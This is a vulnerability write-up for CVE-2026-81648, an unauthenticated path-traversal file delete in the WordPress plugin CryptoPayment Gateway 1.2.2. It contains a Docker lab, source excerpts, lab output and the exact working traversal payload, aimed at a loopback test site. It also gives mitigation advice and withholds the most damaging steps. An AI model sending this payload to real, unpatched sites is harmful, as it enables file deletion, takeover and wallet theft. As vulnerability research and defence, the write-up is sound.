CVE-2026-81648: WordPress CryptoPayment Gateway, unauthenticated RCE
CryptoPayment Gateway 1.2.2 vendor/cryptd/ajax.php is a direct PHP endpoint. It defines crpay_security_error() and never calls it. delete-file concatenates __DIR__/uploads with file_name. Five .. reaches wp-content. No public patch.
- Name
- CVE-2026-81648: WordPress CryptoPayment Gateway, unauthenticated RCE
- Type
- N-day analysis
- CVE
- CVE-2026-81648
- CVE Risk
- critical
- Disclosure Status
- public
- Vendor
- Granwill
- Affected
- CryptoPayment Gateway (cryptopayment-gateway) 1.2.1-1.2.2; WPScan lists no known fix
- Published
- 19 Sept 2026
- Updated
- 19 Sept 2026
- Tags
- n-day, wordpress, missing-auth, path-traversal, cwe-862, unauthenticated, rce
The guard is never called
I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-81648 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.
CVE-2026-81648 (NVD, GHSA-9r3q-6qw8-8pm7, WPScan) is unauthenticated missing authorization in the WordPress plugin CryptoPayment Gateway 1.2.1-1.2.2, slug cryptopayment-gateway. CWE-862. 10.0 Critical. WPScan: no known fix.
The advisory names an AJAX endpoint without an auth check. That is not admin-ajax.php. It is a raw PHP file under the plugin: vendor/cryptd/ajax.php. POST data as JSON. function=delete-file. file_name is concatenated onto __DIR__/uploads. Five .. from that uploads dir is wp-content. unlink. The same switch also has get-settings, save-settings, encryption. I am not recovering wallet keys. I am not deleting wp-config.php. The lab witness is a unique string disappearing from a planted index.php.
This is the map I used to get from a WordPress homepage to a file that was there and then was not. Isolated lab, loopback only. Deleting the right file is RCE. The stack is in the CVE repo so you can run it at home. The client is the repo above.
What an attacker can do
Unauthenticated POST JSON data.function=delete-file with a traversal file_name. Arbitrary file delete on the server. The same endpoint can overwrite gateway config and recover stored wallet credentials in cleartext. I am not printing a wallet recovery.
The lab (run this at home)
Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 1.2.2 of the plugin next to compose as ./cryptopayment-gateway (SVN tag). WooCommerce is a dependency.
# Loopback lab image pin for CVE-2026-81648. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache# CVE-2026-81648 local WordPress lab. Loopback only.
services:
db:
image: mysql:8.0
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
interval: 5s
timeout: 5s
retries: 30
start_period: 15s
wordpress:
image: wordpress:6.4-php8.2-apache
ports:
- "127.0.0.1:8088:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DEBUG: "1"
WORDPRESS_CONFIG_EXTRA: |
define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
define('WP_DEBUG_DISPLAY', false);
volumes:
- wp_data:/var/www/html
- ./cryptopayment-gateway:/var/www/html/wp-content/plugins/cryptopayment-gateway:ro
depends_on:
db:
condition: service_healthy
wpcli:
image: wordpress:cli
user: "33:33"
volumes:
- wp_data:/var/www/html
- ./cryptopayment-gateway:/var/www/html/wp-content/plugins/cryptopayment-gateway:ro
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
depends_on:
wordpress:
condition: service_started
entrypoint: ["sleep", "infinity"]
volumes:
wp_data:docker-compose.override.yml only routes logs.
# App processes should log to stdout and/or /var/log/lab.
services:
db:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/db:/var/log/lab
- ./logs/db-mysql:/var/log/mysql
wordpress:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/wordpress:/var/log/lab
- ./logs/wordpress-apache:/var/log/apache2The CVE needs a witness file under wp-content/poc81648/index.php. WooCommerce should be active so the plugin loads.
<?php
/**
* Lab fixture for CryptoPayment Gateway 1.2.2 (CVE-2026-81648).
* Witness file for unauth delete-file via cryptd/ajax.php.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
$wit_dir = WP_CONTENT_DIR . '/poc81648';
if ( ! is_dir( $wit_dir ) ) {
wp_mkdir_p( $wit_dir );
}
file_put_contents( $wit_dir . '/index.php', "<?php echo 'POCWitness81648';\n" );Bring-up from the CVE repo lab/:
git clone https://github.com/abraxas/CVE-2026-81648
cd CVE-2026-81648/lab
svn export https://plugins.svn.wordpress.org/cryptopayment-gateway/tags/1.2.2 cryptopayment-gateway
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
--url=http://127.0.0.1:8088 \
--title='CVE-2026-81648 Lab' \
--admin_user=admin \
--admin_password=labadmin \
--admin_email=lab@localhost.invalid \
--skip-email
docker compose exec -T wpcli wp plugin install woocommerce --activate
docker compose exec -T wpcli wp plugin activate cryptopayment-gateway
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-81648-Abraxas-Labs.pyThe seed is the fixture above; it is not in lab/ on GitHub. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.
What the tree actually registers
ajax.php is not a WordPress AJAX action. Apache will run it. It JSON-decodes $_POST['data'] into $_POST, then switches on function. There is no wp_ajax_ hook. There is no nonce. There is no current_user_can.
$_POST = json_decode($_POST['data'], true);
require_once('functions.php');
crpay_cloud_load();
switch ($_POST['function']) {
// ...
case 'delete-file':
die(crpay_json_response(crpay_file_delete($_POST['file_name'], crpay_post('folder'))));At the bottom of the same file:
function crpay_security_error() {
$admin_functions = ['delete-file', 'analytics', 'get-customer', 'encryption', /* ... */];
$verify = crpay_verify_admin();
return in_array($_POST['function'], $admin_functions) && ($verify === false || /* ... */);
}That function is never called from ajax.php. A sibling ajax1.php in the same directory does call it at the top. The live file is ajax.php.
function crpay_file_delete($file_name, $folder = '') {
$path = __DIR__ . '/uploads' . crpay_cloud_path_part() . '/' . $folder . $file_name;
if (file_exists($path)) {
return unlink($path);
}
return false;
}No basename. No .. check. __DIR__ is .../vendor/cryptd. uploads plus ../../../../../poc81648/index.php is wp-content/poc81648/index.php.
There is no public vendor patch. Disable the plugin or block that PHP file until there is one.
The 200 that was admin-ajax
The first client I pointed at this was polite. It used admin-ajax.php because this is a WordPress plugin. This endpoint is not WordPress AJAX. You get 0 or a theme. The file is still there.
A few other ways to lose without learning anything:
- GET. The switch reads POST JSON.
functionnot insidedata. The file doesjson_decode($_POST['data']).- Too few
... Count fromvendor/cryptd/uploads. - Success JSON alone. The file has to disappear.
- Dumping
get-settings/encryption. Same missing guard. I am not printing a wallet recovery. - Deleting
wp-config.php. Theatre, and not the lab witness.
The tell is: GET witness 200 with POCWitness81648, POST small JSON {"success":true,"response":true}, GET witness without that string (the lab saw 500 HTML from a broken directory index). The string gone is the proof.
What I actually did
Treat the on-disk product as the spec. WPScan named a missing authorization check. I read ajax.php, then noticed crpay_security_error sitting unused, then planted a lab index.php. Proof of concept: CVE-2026-81648-Abraxas-Labs.py.
Witness, POST, witness. GET /wp-content/poc81648/index.php. POST data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}. GET again. The unique string must be gone.
Last lab run, trimmed:
before status=200 len=15
witness present
ajax status=200 len=32
{"success":true,"response":true}
after status=500
SUCCESS CVE-2026-81648The file was there. Then it was not. That is the whole argument. The client that produced it is on GitHub.
Wrong turns: admin-ajax.php (this is not WordPress AJAX); GET (the switch reads POST JSON); function not inside data; too few ..; success JSON without the file disappearing; dumping get-settings / encryption; deleting wp-config.php.
What this is not
It is not WordPress admin-ajax. It is not a capability check that failed. It is a capability check that was written and never wired. Sibling ajax1.php shows they knew the list of admin functions.
There is no public patch. Disable CryptoPayment Gateway or block vendor/cryptd/ajax.php. Re-run the loopback client after you have a vendor build: the witness file must still be there.
I am not going to print a path that deletes wp-config.php or a get-settings dump of wallets. The unused guard and the unsanitized file_name are the useful part. If you own the box, run the proof of concept against loopback.
Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.
References
- Proof of concept: abraxas/CVE-2026-81648 · CVE-2026-81648-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · override - @abraxas_null · github.com/abraxas · abraxaslabs.tech · abraxas.null@proton.me
- CVE-2026-81648 · NVD · GHSA-9r3q-6qw8-8pm7 · WPScan · CWE-862
- Trac 1.2.2:
ajax.php,crpay_file_delete - Source: SVN tags · Trac browser